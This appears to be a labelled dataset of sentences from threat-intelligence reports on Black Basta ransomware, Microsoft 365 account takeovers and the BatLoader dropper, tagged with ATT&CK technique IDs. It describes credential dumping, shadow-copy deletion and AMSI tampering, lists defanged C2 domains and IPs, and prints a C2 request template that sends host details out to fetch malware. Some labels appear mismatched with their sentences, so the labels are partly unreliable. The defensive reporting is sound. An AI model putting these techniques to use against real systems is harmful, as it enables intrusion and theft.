{"sentence": "System Binary Proxy Execution: Regsvr32 Black Basta has used regsvr32.exe to execute a malicious DLL. T1070.004.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Indicator Removal on Host: File Deletion Attempts to delete malicious batch files.", "labels": ["T1070.004"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Modify Registry Black Basta makes modifications to the Registry.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1140.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Deobfuscate/Decode Files or Information Initial malicious .zip file bypasses some antivirus detection due to password protection.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1562.004.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Impair Defenses: Disable or Modify System Firewall Uses batch scripts, such as rdp.bat or SERVI.bat, to modify the firewall to allow remote administration and RDP.", "labels": ["T1059.003"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1562.009.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Impair Defenses: Safe Boot Mode Uses bcdedit to boot the device in safe mode. T1574.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Debugger Evasion Uses IsDebuggerPresent to check if processes are being debugged.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0006 Credential Access T1555.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Credentials from Password Stores Black Basta uses Mimikatz to dump passwords.", "labels": ["T1003.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0007 Discovery T1087.002.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Network Configuration Discovery Lists internal IP addresses to target in C:\\Windows\\pc_list.txt – typically found on the Domain Controller. T1082.", "labels": ["T1016"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Information Discovery Uses GetComputerName to query the computer name.", "labels": ["T1082"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1622.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0008 Lateral Movement T1021.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Remote Services:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Remote Desktop Protocol Black Basta has used RDP for lateral movement.", "labels": ["T1021.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0009 Collection T1560.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Archive Collected Data: Archive via Utility TA0010 Exfiltration T1567.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Exfiltration over Web Service TA0011 Command and Control T1219.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Remote Access Software Black Basta has installed and used legitimate tools such as TeamViewer and AnyConnect on targeted systems. T1573.", "labels": ["T1219"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Encrypted Channel Uses Qakbot primarily and Cobalt Strike.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0040 Impact T1486.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Data Encrypted for Impact Black Basta modifies the Desktop background by adding a .jpg in C:\\Temp and creating a registry key HKCU\\Control Panel\\Desktop.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Uses ChaCha20 or RSA-4096 to encrypt victims. T1489.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Service Stop Uses sc stop and taskkill to stop services.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1490.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Inhibit System Recovery Black Basta deletes Volume Shadow Copies using vssadmin.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Table 1.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Tactics, techniques and procedures for Black Basta activity.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Victimology", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware group and its affiliate program reportedly compromised multiple large organizations, in sectors including consumer and industrial products; energy, resources and agriculture; manufacturing; utilities; transportation; government agencies; professional services and consulting; and real estate.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta operators also posted on dark web forums expressing interest in attacking organizations based in Australia, Canada, New Zealand, the U.K. and the U.S. Threat actors using the ransomware impacted organizations based in the U.S., Germany, Switzerland, Italy, France and the Netherlands (listed in descending order by numbers of allegedly breached organizations).", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta post on dark web forums.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The threat actor(s) responsible for Black Basta operate a cybercrime marketplace and victim name-and-shame blog.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "There were 75 victims listed on the leak site at the time of writing.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta News site where the threat actors post allegedly breached organizations (details redacted) and number of visits.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Generic V2 Execution The below courses of action mitigate the following techniques: Service Execution", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Create Account", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1136], Account Manipulation [T1098], Regsvr32", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1070.004], Disable or Modify Tools [T1562.001], Modify Registry", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces CORTEX XSOAR Deploy XSOAR Playbook – Access Investigation Playbook Deploy XSOAR Playbook – Block Account Generic Deploy XSOAR Playbook – Impossible Traveler CORTEX XDR PREVENT Configure Host Firewall Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Malware Protection Credential Access The below courses of action mitigate the following techniques: Credentials from Password Stores [T1555] CORTEX XDR Cortex XDR monitors for behavioral events and files associated with credential access and exfiltration Discovery", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: System Network Configuration Discovery [T1016],", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Information Discovery [T1082], Domain Account", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1087.002] CORTEX XDR Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors Lateral Movement", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Archive via Utility [T1560.001] CORTEX XDR Monitors for behavioral events via BIOCs including the creation of zip archives Command and Control The below courses of action mitigate the following techniques: Remote Access Software [T1219],", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Encrypted Channel [T1573] CORTEX XSOAR Deploy XSOAR Playbook – PAN-OS Query Logs for Indicators Deploy XSOAR Playbook – Block URL Deploy XSOAR Playbook – Block IP NEXT-GENERATION FIREWALLS Ensure that the Certificate used for Decryption is Trusted Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist THREAT PREVENTION Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies URL FILTERING Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet Ensure all HTTP Header Logging options are enabled Ensure that PAN-DB URL Filtering is used Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure that access to every URL is logged Impact The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489],", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Inhibit System Recovery [T1490] CORTEX XSOAR Deploy XSOAR Playbook – Ransomware Manual for incident response.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Deploy XSOAR Playbook – Palo Alto Networks Endpoint Malware Investigation Conclusion Black Basta ransomware operators have been active since at least April 2022.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Due to the high-profile nature and steady stream of Black Basta attacks identified globally in 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Palo Alto Networks helps detect and prevent Black Basta ransomware in the following ways: WildFire:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "All known samples are identified as malware.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Cortex XDR: Identifies indicators associated with Black Basta.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Anti-Ransomware Module blocks Black Basta encryption behaviors on Windows.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Local Analysis detection for Black Basta binaries on Windows and Linux.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Behavioral Threat Prevention prevents Black Basta behaviors.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Next-Generation Firewalls:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "DNS Signatures detect the known C2 domains, which are also categorized as malware in Advanced URL Filtering.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Additional Resources Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The broad range of attack methods utilized by attackers seems to present an insurmountable problem: how do you defend against a playbook that does not yet exist?Faced with the growing number of novel and uncommon attack methods, it is essential for organizations to adopt a security solution able to detect threats based on their anomalies, rather than relying on threat intelligence alone.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "In March 2023, Darktrace observed an emerging trend in the use of an application known as ‘PerfectData Software’ for probable malicious purposes in several Microsoft 365 account takeovers.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Malicious actors typically gain entry to organizations’ Microsoft 365 environments by abusing either stolen account credentials or stolen session cookies", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Once inside, actors can access sensitive data within mailboxes or SharePoint repositories, and send out emails or Teams messages.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This activity can often result in serious financial harm, especially in cases where the malicious actor’s end-goal is to elicit fraudulent transactions.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "One typical example is the creation of new inbox rules and sending deceitful emails intended to convince recipients to carry out subsequent actions, such as following a malicious link or providing sensitive information.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It is also common for actors to register new applications in Azure AD so that they can be used to conduct follow-up activities, like mass-mailing or data theft.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "These registrations of applications in Azure AD are evidenced by creations of, as well as assignments of permissions to, Service Principals in Azure AD.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Further investigation of this Azure AD activity revealed it to be part of an ongoing account takeover.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "‘PerfectData Software’ Activity Darktrace observed variations of the following pattern of activity relating to an application named ‘PerfectData Software’ within its customer base:Actor signs in to a Microsoft 365 account from an endpoint associated with a Virtual Private Server (VPS) or Virtual Private Network (VPN) serviceActor registers an application called 'PerfectData Software' with Azure AD, and then grants permissions to the applicationActor accesses mailbox data and creates inbox rule In two separate incidents, malicious actors were observed conducting their activities from endpoints associated with VPN services (HideMyAss (HMA) VPN and Surfshark VPN, respectively) and from endpoints within the Autonomous System AS396073 MAJESTIC-HOSTING-01.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "In March 2023, Darktrace observed a malicious actor signing in to a Microsoft 365 account from a Kuwait-based IP address within the Autonomous System, AS198605 AVAST Software s.r.o.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This IP address is associated with the VPN service, HMA VPN.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Over the next couple of days, an actor (likely the same malicious actor) signed in to the account several more times from two different Nigeria-based endpoints, as well as a VPS-related endpoint and a HMA VPN endpoint.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "During their login sessions, the actor performed a variety of actions.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This Service Principal creation represents the registration of an application called ‘PerfectData Software’ in Azure AD.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Although the reason for registering this application is unclear, within a few days the actor registered and granted permission to another application, ‘Newsletter Software Supermailer’, and created a new inbox rule names ‘s’ on the mailbox of the hijacked account.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This inbox rule moved emails meeting certain conditions to a folder named ‘RSS Subscription.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Additionally, there was an unusually high volume of failed logins to the compromised account around the time of the initial access.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Figure 1: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This login was followed by several failed and successful logins from a VPS-related within the Autonomous System, AS396073 MAJESTIC-HOSTING-01.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The actor was then seen registering and assigning permissions to an application called ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "As with the previous example, the motives for this registration are unclear.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The actor proceeded to log in several more times from a Surfshark VPN endpoint, however, they were not observed carrying out any further suspicious activity.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Figure 2: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It was not clear in either of these examples, nor in fact any of cases observed by Darktrace, why actors had registered and assigned permissions to an application called ‘PerfectData Software’, and there do not appear to be any open-source intelligence (OSINT) resources or online literature related to the malicious usage of an application by that name.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "That said, there are several websites which appear to provide email migration and data recovery/backup tools under the moniker ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It is unclear whether the use of ‘PerfectData Software’ by malicious actors observed on the networks of Darktrace customers was one of these tools.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "If the legitimate software ‘PerfectData’ is the application in question in these incidents, it is likely being purchased and misused by attackers for malicious purposes.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It is also possible the application referenced in the incidents is a spoof of the legitimate ‘PerfectData’ software designed to masquerade a malicious application as legitimate.", "labels": ["T1036.005"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Darktrace CoverageCases of ‘PerfectData Software’ activity chains detected by Darktrace typically began with an actor signing into an internal user’s Microsoft 365 account from a VPN or VPS-related endpoint.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "These login events, along with the suspicious email and/or brute-force activity which preceded them, caused the following DETECT models to breach:SaaS / Access / Unusual External Source for SaaS Credential UseSaaS / Access / Suspicious Login AttemptSaaS / Compromise / Login From Rare Following Suspicious Login Attempt(s)SaaS / Email Nexus / Unusual Location for SaaS and Email ActivitySubsequent activities, including inbox rule creations, registration of applications in Azure AD, and mass-mailing activity, resulted in breaches of the following DETECT models.", "labels": ["T1110"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "SaaS / Admin / OAuth Permission Grant SaaS / Compromise / Unusual Logic Following OAuth Grant SaaS / Admin / New Application Service", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "PrincipalIaaS / Admin / Azure Application Administration ActivitiesSaaS / Compliance / New Email RuleSaaS / Compromise / Unusual Login and New Email RuleSaaS / Email Nexus / Suspicious Internal Exchange ActivitySaaS / Email Nexus / Possible Outbound Email SpamSaaS / Compromise / Unusual Login and Outbound Email SpamSaaS / Compromise / Suspicious Login and Suspicious Outbound Email(s)Figure 3: DETECT Model Breaches highlighting unusual login and 'PerfectData Software' registration activity from a malicious actor.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "In cases where Darktrace RESPOND:trade_mark: was enabled in autonomous response mode, ‘PerfectData Software’ activity chains resulted in breaches of the following RESPOND models:• Antigena / SaaS / Antigena Suspicious SaaS Activity Block• Antigena / SaaS / Antigena Significant Compliance Activity BlockIn response to these model breaches, Darktrace RESPOND took immediate action, performing aggressive, inhibitive actions, such as forcing the actor to log out of the SaaS platform, and disabling the user entirely.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Figure 4: A RESPOND model breach created in response to a malicious actor's registration of 'PerfectData Software'In addition, Darktrace Cyber AI Analyst was able to autonomously investigate registrations of the ‘PerfectData Software’ application and summarized its findings into digestible reports.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Conclusion Due to the widespread adoption of Microsoft 365 services in the workplace and continued emphasis on a remote workforce, account hijackings now pose a more serious threat to organizations around the world than ever before.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The cases discussed here illustrate the tendency of malicious actors to conduct their activities from endpoints associated with VPN services, while also registering new applications, like PerfectData Software, with malicious intent.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Darktrace DETECT’s anomaly-based approach to threat detection allowed it to recognize that the use of ‘PerfectData Software’ represented a deviation in the SaaS user’s expected behavior.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "AppendicesMITRE ATT&CK MappingReconnaissance:• T1598 ­– Phishing for InformationCredential Access:• T1110 – Brute ForceInitial Access:• T1078.004 – Valid Accounts: Cloud AccountsCommand and Control:• T1105 ­– Ingress Tool TransferPersistence:• T1098.003 – Account Manipulation: Additional Cloud Roles Collection:• T1114 – Email Collection Defense Evasion:• T1564.008 ­– Hide Artifacts: Email Hiding Rules­Lateral Movement:• T1534 – Internal SpearphishingUnusual Source IPs•", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "5.62.60[.]202 (AS198605 AVAST Software s.r.o.) • 160.152.10[.]215 (AS37637 Smile-Nigeria-AS)• 197.244.250[.]155 (AS37705 TOPNET)• 169.159.92[.]36 (AS37122 SMILE)• 45.62.170[.]237 (AS396073 MAJESTIC-HOSTING-01)• 92.38.180[.]49 (AS202422 G-Core Labs S.A)• 129.56.36[.]26 (AS327952 AS-NATCOM)• 92.38.180[.]47 (AS202422 G-Core Labs S.A.)• 107.179.20[.]214 (AS397086 LAYER-HOST-HOUSTON)• 45.62.170[.]31 (AS396073 MAJESTIC-HOSTING-01)References[1] https://www.investing.com/academy/statistics/microsoft-facts/[2] https://intel471.com/blog/countering-the-problem-of-credential-theft[3]", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Since being introduced in February 2022, BatLoader is a malware dropper that has been observed dropping several well-known malware or malicious tools like ISFB, SystemBC RAT, Redline Stealer, and Vidar Stealer.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Since its MSI installer file size is 100MB+, BatLoader can easily evade most sandboxes and antivirus tools.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Key Takeaways BatLoader delivers additional malware and tools including ISFB, Vidar Stealer, Cobalt Strike, Syncro RMM, and SystemBC RAT via fake installers.eSentire Threat Response Unit (TRU) observed two different BatLoader campaigns in 2022.BatLoader can evade most antivirus detections due to the size of the MSI installers.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Case Study BatLoader In September 2022, eSentire TRU observed multiple BatLoader infections in Consumer Services, Retail, Telecommunications, and Non-Profit client environments.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The MSI installers are signed by “Kancelaria Adwokacka Adwokat Aleksandra Krzemińska” (Figures 1-2).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The infections were observed in Insurance, Consulting, Healthcare, and Printing industries.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 3: Fake TeamViewer download page We also observed several C2 domains related to BatLoader campaigns: updatea1[.]com (first campaign)cloudupdatesss[.]com (first campaign)externalchecksso[.]com (second campaign)internalcheckssso[.]com (second campaign)", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "BatLoader Analysis (First Campaign) BatLoader, named by Mandiant, is a malware dropper.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The malware was first mentioned by Mandiant in February 2022.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "It’s worth noting that Mandiant mentioned the domain clouds222[.]com for the BatLoader campaign which also overlaps with the Zloader C2 domain.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "eSentire TRU observed BatLoader dropping the following malware / malicious tools: ISFBSystemBC RATRedline StealerVidar Stealer Figure 4: BatLoader infection chain The MSI installer file is over 100MB in size; the large file size is implemented by threat actor(s) to evade sandboxes and antivirus products.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The properties of the BatLoader MSI installer are shown in Figure 5.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The files reside within the C:\\Program Files (x86)\\Softland\\novaPDF 11\\Tools path that is created after the malicious MSI is successfully run, we also found NordVPNSetup.exe dropped within the same path.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We believe that the files mentioned are used as a decoy.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 5: Properties of the malicious MSI installer Figure 6: NovaPDF 11 components Figure 7: Decoy files The main malicious trigger for the MSI installer resides under CustomAction table.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The malicious actor(s) create a custom action to run the malicious PowerShell inline script.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The PowerShell script is run via the PowerShell Core or pwsh.exe in a hidden window.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 8: Malicious PowerShell script under CustomAction Table", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The downloaded update.bat file is responsible for downloading requestadmin.bat file and NirCmd.exe binary (Figure 9).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The batch file was executed via nircmd.exe which was also downloaded from the C2; the utility allows the batch file to run in the background without displaying the user interface.", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Besides excluding the paths, the batch file also retrieves and executes the runanddelete.bat and scripttodo.ps1 scripts from the C2 via a native PowerShell command Invoke-WebRequest (Figure 10).", "labels": ["T1059.003", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 10: The contents of requestadmin.bat The scripttodo.ps1 installs the GnuPg, the software that encrypts and signs the data and communications as shown in Figure 11.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 11: GnuPg installation Further down, the script enumerates the current domain that the user is logged into, the username, and obtains all entries within the IPs starting with 192., 10., and .172 in the ARP cache table.", "labels": ["T1016", "T1033"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the amount is less than 2 and the user domain is within WORKGROUP, the script will not proceed to further infection.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the number of IPs is greater than 2, the domain is not in WORKGROUP and does not contain the username, which satisfies all the conditions set in the script, then the full set of malware is retrieved from C2 (Figure 12).", "labels": ["T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The requests to the C2 server are performed in the following format: https://<C2 Server>/g5i0nq/index/d2ef590c0310838490561a205469713d/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname https://<C2 Server>/g5i0nq/index/fa0a24aafe050500595b1df4153a17fb/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname https://<C2 Server>/g5i0nq/index/i850c923db452d4556a2c46125e7b6f2/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname https://<C2 Server>/g5i0nq/index/b5e6ec2584da24e2401f9bc14a08dedf/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname Figure 12: Enumerating the host and retrieving malware from C2 based on the conditions If the mentioned conditions are not satisfied, the script retrieves the GPG-encrypted files: d2ef5.exe.gpg (encrypted Ursnif)p9d2s.exe.gpg (encrypted Vidar Stealer)", "labels": ["T1027", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If all the conditions are met, the script retrieves the following files: d2ef5.exe.gpg (encrypted Ursnif)p9d2s.exe.gpg (encrypted Vidar Stealer)d655.dll.gpg (encrypted Cobalt Strike)f827.exe.gpg (encrypted Syncro RMM)shutdowni.bat We were unable to retrieve the shutdowni.bat file but we believe the script might have been deployed to restart the host.", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The GPG decryption routine was borrowed from the script hosted on GitHub (Figure 13).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 13: GPG decryption snippet Moreover, the scripttodo.ps1 recursively removes the implementation of Windows Defender IOfficeAntiVirus under HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}.", "labels": ["T1112", "T1140", "T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The IOfficeAntivirus component is responsible for detecting malicious or suspicious files downloaded from the Internet.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We have mentioned that besides scripttodo.ps1, the runanddelete.bat (Figure 14) file was retrieved.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 14: Contents of runanddelete.bat file The Secrets of BatLoader", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The binary d2ef5.exe is the ISFB banking malware also known as the successor of Gozi or Ursnif.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The first Gozi variant was first discovered by SecureWorks in 2007 and is still active today, spreading through phishing emails and loaders.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
